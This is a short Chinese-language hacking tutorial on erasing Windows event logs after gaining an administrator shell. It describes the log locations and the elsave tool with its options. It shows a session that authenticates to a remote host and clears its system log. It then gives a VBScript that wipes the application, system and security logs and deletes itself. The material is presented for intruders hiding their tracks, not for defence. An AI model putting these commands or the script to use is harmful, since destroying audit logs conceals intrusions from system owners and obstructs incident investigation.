Windows日志默认保存在以下三个位置: l 安全日志文件:%systemroot%\system32\config\SecEvent.EVT l 系统日志文件:%systemroot%\system32\config\SysEvent.EVT l 应用程序日志文件:%systemroot%\system32\config\AppEvent.EVT 但许多入门黑客成功获得管理员权限的Cmd Shell后,却发现这些文件无法使用delete命令删除。那么该如何处理呢?事实上,出于安全考虑,微软设计了不能暂停、停止的日志记录服务,应用程序日志、安全性日志和系统日志的日志记录文件从载入系统时起就处于使用状态,所以无法通过系统自带的文件删除功能将其删除。
虽然微软在图形界面的控制台提供了删除功能,但使用远程桌面需要更大的带宽,难以使用多级跳板,因而黑客们更倾向于使用命令行工具清除Windows日志文件。其中国内高手小榕所编写的elsave就是清除Windows日志最为经典的命令行工具。 elsave语法及参数elsave [-s \\server] [-l 日志名称] [-F 路径及名称] [-C] elsave不但可用于远程清除Windows日志文件,同样也可以备份远程日志文件。运行该工具的必要条件是,获得管理员权限的command Shell。 l -s \\IP或电脑名称:用于指定远程主机,如果不指定远程主机,默认操作对象为对本机的日志记录。 l -l 日志名称:用于指定需要操作的日志名称。其中应用程序日志的名称为application、系统日志的名称为system、安全日志的名称为security。 l -F 路径及名称:制作将指定的日志的副本,并保存至指定位置。 l -C :清空指定的日志。 范例清除主机192.168.1.66的系统日志。 d:\FILES>net use \\192.168.1.66 /user:clamp 密码或用户名在 \\192.168.1.66 无效。 输入 'clamp' 的密码来连接到 '192.168.1.66': 命令成功完成。 d:\FILES>elsave -s \\192.168.1.66 -l system -C d:\FILES> 假如找不到elsave这个清除日志的专用工具,那也不要紧我们可以自己动手写一个简单的VBS脚本,上传至需要清除日志电脑,并在远程Shell中执行它就可以了。 strComputer = "." Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate,(Backup)}!\\" & _ strComputer & "\root\cimv2") dim mylogs(3) mylogs(1)="application" mylogs(2)="system" mylogs(3)="security" for each logs in mylogs Set colLogFiles = objWMIService.ExecQuery _ ("Select * from Win32_NTEventLogFile where LogFileName='"&logs&"'") for each objLogfile in colLogFiles objLogFile.ClearEventLog() next next set fso=createobject("scripting.filesystemobject") fso.deletefile "cleanevent.vbs" fso.deletefolder |